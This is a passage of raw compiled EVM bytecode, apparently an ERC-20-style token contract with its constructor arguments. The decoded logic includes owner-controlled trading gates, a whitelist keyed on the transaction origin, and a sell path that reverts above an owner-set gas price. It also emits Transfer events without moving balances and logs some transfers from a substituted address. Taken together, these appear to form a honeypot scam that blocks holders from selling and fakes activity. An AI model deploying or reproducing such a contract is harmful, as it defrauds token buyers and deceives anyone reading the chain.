81565b600d5481565b61109a6119fb565b600f5f9054906101000a900460ff1615600f5f6101000a81548160ff021916908315150217905550565b600880546110d190613088565b80601f01602080910402602001604051908101604052809291908181526020018280546110fd90613088565b80156111485780601f1061111f57610100808354040283529160200191611148565b820191905f5260205f20905b81548152906001019060200180831161112b57829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61119d6119fb565b6111a65f611c1d565b565b600980546111b590613088565b80601f01602080910402602001604051908101604052809291908181526020018280546111e190613088565b801561122c5780601f106112035761010080835404028352916020019161122c565b820191905f5260205f20905b81548152906001019060200180831161120f57829003601f168201915b505050505081565b61123c6119fb565b80600d8190555050565b5f805f61125161104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8203611304578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fd91906133a3565b9250611374565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561134d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061137191906133a3565b92505b5f3090505f808273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16106113b45782866113b7565b85835b915091505f8473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611405573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142991906133a3565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663e6a4390585856040518363ffffffff1660e01b81526004016114679291906133ce565b602060405180830381865afa158015611482573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a691906133a3565b9050809850505050505050505090565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546114ed90613088565b80601f016020809104026020016040519081016040528092919081815260200182805461151990613088565b80156115645780601f1061153b57610100808354040283529160200191611564565b820191905f5260205f20905b81548152906001019060200180831161154757829003601f168201915b5050505050905090565b6013602052805f5260405f205f915054906101000a900460ff1681565b600181565b6115986119fb565b5f5b825181101561163c578281815181106115b6576115b56130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166115dc6114b6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116219190612970565b60405180910390a38080611634906130e5565b91505061159a565b505050565b5f8061164b611a82565b9050611658818585611b2d565b600191505092915050565b61166b6119fb565b8160115f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600c5481565b61a4b181565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117546119fb565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611797573d5f803e3d5ffd5b50565b6117a26119fb565b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6012602052805f5260405f205f915090505481565b61210581565b61181d6119fb565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361188d575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016118849190612cf4565b60405180910390fd5b61189681611c1d565b50565b5f805f6118a46119fb565b5f3490505f6118b161104a565b90505f8060115f8481526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303611970576118fc818d86611ce0565b8073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015611945573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196991906133a3565b91506119eb565b61197b818d86611d92565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119e891906133a3565b91505b5050505096509650969350505050565b611a03611a82565b73ffffffffffffffffffffffffffffffffffffffff16611a216114b6565b73ffffffffffffffffffffffffffffffffffffffff1614611a8057611a44611a82565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611a779190612cf4565b60405180910390fd5b565b5f33905090565b611a968383836001611e44565b505050565b5f611aa684846116ca565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611b275781811015611b18578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611b0f939291906133f5565b60405180910390fd5b611b2684848484035f611e44565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b9d575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611b949190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c0d575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611c049190612cf4565b60405180910390fd5b611c18838383612013565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f69d3c21bcecceda100000043611cf79190612f49565b9050611d04308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f91b3f728330865f8033886040518863ffffffff1660e01b8152600401611d4896959493929190612fbe565b60606040518083038185885af1158015611d64573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d89919061342a565b50505050505050565b5f69d3c21bcecceda100000043611da99190612f49565b9050611db6308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f8033886040518863ffffffff1660e01b8152600401611dfa96959493929190612fbe565b60606040518083038185885af1158015611e16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611e3b919061342a565b50505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611eb4575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611eab9190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f24575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611f1b9190612cf4565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561200d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516120049190612970565b60405180910390a35b50505050565b60135f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156120725761206d8383836122a2565b61229d565b600f5f9054906101000a900460ff166120c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b7906134c4565b60405180910390fd5b5f6120c9611246565b90505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361210f576121098484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121935750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121919190612f49565b115b156121b2576121a18461267b565b6121ac8484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122375750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122349190612f49565b11155b15612290578160125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122889190612f49565b925050819055505b61229b8484846122a2565b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122f2578060025f8282546122e69190612f49565b925050819055506123c0565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561237b578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401612372939291906133f5565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612407578060025f8282540392505081905550612451565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125305760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125239190612970565b60405180910390a3612676565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361260f578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126029190612970565b60405180910390a3612675565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266c9190612970565b60405180910390a35b5b505050565b5f61268582611150565b11156126bb57600f5f9054906101000a900460ff166126ae576126a96014546126be565b6126ba565b6126b96015546126be565b5b5b50565b803a11156126ca575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612707826126de565b9050919050565b612717816126fd565b8114612721575f80fd5b50565b5f813590506127328161270e565b92915050565b5f819050919050565b61274a81612738565b8114612754575f80fd5b50565b5f8135905061276581612741565b92915050565b5f805f805f8060c08789031215612785576127846126d6565b5b5f61279289828a01612724565b96505060206127a389828a01612757565b95505060406127b489828a01612757565b94505060606127c589828a01612757565b93505060806127d689828a01612724565b92505060a06127e789828a01612757565b9150509295509295509295565b6127fd81612738565b82525050565b5f6040820190506128165f8301856127f4565b61282360208301846127f4565b9392505050565b5f6020828403121561283f5761283e6126d6565b5b5f61284c84828501612724565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288c578082015181840152602081019050612871565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b182612855565b6128bb818561285f565b93506128cb81856020860161286f565b6128d481612897565b840191505092915050565b5f6020820190508181035f8301526128f781846128a7565b905092915050565b5f8060408385031215612915576129146126d6565b5b5f61292285828601612724565b925050602061293385828601612757565b9150509250929050565b5f8115159050919050565b6129518161293d565b82525050565b5f60208201905061296a5f830184612948565b92915050565b5f6020820190506129835f8301846127f4565b92915050565b5f805f606084860312156129a05761299f6126d6565b5b5f6129ad86828701612724565b93505060206129be86828701612724565b92505060406129cf86828701612757565b9150509250925092565b5f60ff82169050919050565b6129ee816129d9565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612a4782612897565b810181811067ffffffffffffffff82111715612a6657612a65612a11565b5b80604052505050565b5f612a786126cd565b9050612a848282612a3e565b919050565b5f67ffffffffffffffff821115612aa357612aa2612a11565b5b602082029050602081019050919050565b5f80fd5b5f612aca612ac584612a89565b612a6f565b90508083825260208201905060208402830185811115612aed57612aec612ab4565b5b835b81811015612b165780612b028882612724565b845260208401935050602081019050612aef565b5050509392505050565b5f82601f830112612b3457612b33612a0d565b5b8135612b44848260208601612ab8565b91505092915050565b5f60208284031215612b6257612b616126d6565b5b5f82013567ffffffffffffffff811115612b7f57612b7e6126da565b5b612b8b84828501612b20565b91505092915050565b5f80fd5b5f67ffffffffffffffff821115612bb257612bb1612a11565b5b612bbb82612897565b9050602081019050919050565b828183375f83830152505050565b5f612be8612be384612b98565b612a6f565b905082815260208101848484011115612c0457612c03612b94565b5b612c0f848285612bc8565b509392505050565b5f82601f830112612c2b57612c2a612a0d565b5b8135612c3b848260208601612bd6565b91505092915050565b5f8060408385031215612c5a57612c596126d6565b5b5f83013567ffffffffffffffff811115612c7757612c766126da565b5b612c8385828601612c17565b925050602083013567ffffffffffffffff811115612ca457612ca36126da565b5b612cb085828601612c17565b9150509250929050565b5f60208284031215612ccf57612cce6126d6565b5b5f612cdc84828501612757565b91505092915050565b612cee816126fd565b82525050565b5f602082019050612d075f830184612ce5565b92915050565b5f8060408385031215612d2357612d226126d6565b5b5f83013567ffffffffffffffff811115612d4057612d3f6126da565b5b612d4c85828601612b20565b9250506020612d5d85828601612757565b9150509250929050565b5f8060408385031215612d7d57612d7c6126d6565b5b5f612d8a85828601612724565b9250506020612d9b85828601612724565b9150509250929050565b612dae8161293d565b8114612db8575f80fd5b50565b5f81359050612dc981612da5565b92915050565b5f8060408385031215612de557612de46126d6565b5b5f612df285828601612724565b9250506020612e0385828601612dbb565b9150509250929050565b5f606082019050612e205f8301866127f4565b612e2d60208301856127f4565b612e3a60408301846127f4565b949350505050565b5f81519050612e5081612741565b92915050565b5f60208284031215612e6b57612e6a6126d6565b5b5f612e7884828501612e42565b91505092915050565b5f606082019050612e945f830186612ce5565b612ea16020830185612ce5565b612eae60408301846127f4565b949350505050565b5f81519050612ec481612da5565b92915050565b5f60208284031215612edf57612ede6126d6565b5b5f612eec84828501612eb6565b91505092915050565b5f604082019050612f085f830185612ce5565b612f1560208301846127f4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f5382612738565b9150612f5e83612738565b9250828201905080821115612f7657612f75612f1c565b5b92915050565b5f819050919050565b5f819050919050565b5f612fa8612fa3612f9e84612f7c565b612f85565b612738565b9050919050565b612fb881612f8e565b82525050565b5f60c082019050612fd15f830189612ce5565b612fde60208301886127f4565b612feb6040830187612faf565b612ff86060830186612faf565b6130056080830185612ce5565b61301260a08301846127f4565b979650505050505050565b5f8060408385031215613033576130326126d6565b5b5f61304085828601612e42565b925050602061305185828601612e42565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061309f57607f821691505b6020821081036130b2576130b161305b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6130ef82612738565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361312157613120612f1c565b5b600182019050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026131887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261314d565b613192868361314d565b95508019841693508086168417925050509392505050565b5f6131c46131bf6131ba84612738565b612f85565b612738565b9050919050565b5f819050919050565b6131dd836131aa565b6131f16131e9826131cb565b848454613159565b825550505050565b5f90565b6132056131f9565b6132108184846131d4565b505050565b5b81811015613233576132285f826131fd565b600181019050613216565b5050565b601f821115613278576132498161312c565b6132528461313e565b81016020851015613261578190505b61327561326d8561313e565b830182613215565b50505b505050565b5f82821c905092915050565b5f6132985f198460080261327d565b1980831691505092915050565b5f6132b08383613289565b9150826002028217905092915050565b6132c982612855565b67ffffffffffffffff8111156132e2576132e1612a11565b5b6132ec8254613088565b6132f7828285613237565b5f60209050601f831160018114613328575f8415613316578287015190505b61332085826132a5565b865550613387565b601f1984166133368661312c565b5f5b8281101561335d57848901518255600182019150602085019450602081019050613338565b8683101561337a5784890151613376601f891682613289565b8355505b6001600288020188555050505b505050505050565b5f8151905061339d8161270e565b92915050565b5f602082840312156133b8576133b76126d6565b5b5f6133c58482850161338f565b91505092915050565b5f6040820190506133e15f830185612ce5565b6133ee6020830184612ce5565b9392505050565b5f6060820190506134085f830186612ce5565b61341560208301856127f4565b61342260408301846127f4565b949350505050565b5f805f60608486031215613441576134406126d6565b5b5f61344e86828701612e42565b935050602061345f86828701612e42565b925050604061347086828701612e42565b9150509250925092565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6134ae601d8361285f565b91506134b98261347a565b602082019050919050565b5f6020820190508181035f8301526134db816134a2565b905091905056fea2646970667358221220c5da185e6572fedca2f64c3e1ec910c697cc5cfeeb2bf541b2797ca1dcd4c0f464736f6c634300081400330000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000006594f363727e5470603186883588788ed08c364800000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000000001